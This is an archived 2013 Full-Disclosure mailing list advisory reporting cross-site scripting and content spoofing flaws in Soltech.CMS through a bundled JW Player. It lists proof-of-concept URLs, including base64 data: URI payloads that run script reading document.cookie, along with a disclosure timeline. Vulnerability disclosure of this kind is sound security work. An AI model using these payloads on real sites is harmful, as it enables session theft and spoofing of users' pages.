lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
 
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 30 Aug 2013 15:20:51 +0300
From: "MustLive" <mustlive@...security.com.ua>
To: <submissions@...ketstormsecurity.org>, <full-disclosure@...ts.grok.org.uk>,
 "1337 Exploit DataBase" <mr.inj3ct0r@...il.com>
Subject: XSS and CS vulnerability in Soltech.CMS

Hello list!

Earlier I wrote about SQL Injection vulnerability and these are new holes in 
Soltech.CMS.

There are Cross-Site Scripting and Content Spoofing vulnerabilities in 
Soltech.CMS. This is commercial CMS.

-------------------------
Affected products:
-------------------------

Vulnerable are Soltech.CMS v 0.4 and previous versions.

-------------------------
Affected vendors:
-------------------------

Soltech
http://soltech.com.ua

----------
Details:
----------

Vulnerable version JW Player 4.2.90 is used in the system.

Cross-Site Scripting (WASC-08):

http://site/plugins/flashplayer/player.swf?abouttext=Player&aboutlink=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B

http://site/plugins/flashplayer/player.swf?displayclick=link&link=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B&file=1.jpg

Content Spoofing (WASC-12):

http://site/plugins/flashplayer/player.swf?file=1.flv&backcolor=0xFFFFFF&screencolor=0xFFFFFF

http://site/plugins/flashplayer/player.swf?file=1.flv&image=1.jpg

http://site/plugins/flashplayer/player.swf?config=1.xml

http://site/plugins/flashplayer/player.swf?abouttext=Player&aboutlink=http://websecurity.com.ua

------------
Timeline:
------------ 

2013.06.07 - informed developers about the first part of vulnerabilities.
2013.07.13 - announced at my site.
2013.07.14 - informed developers about the second part of vulnerabilities.
2013.08.27 - disclosed at my site (http://websecurity.com.ua/6653/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists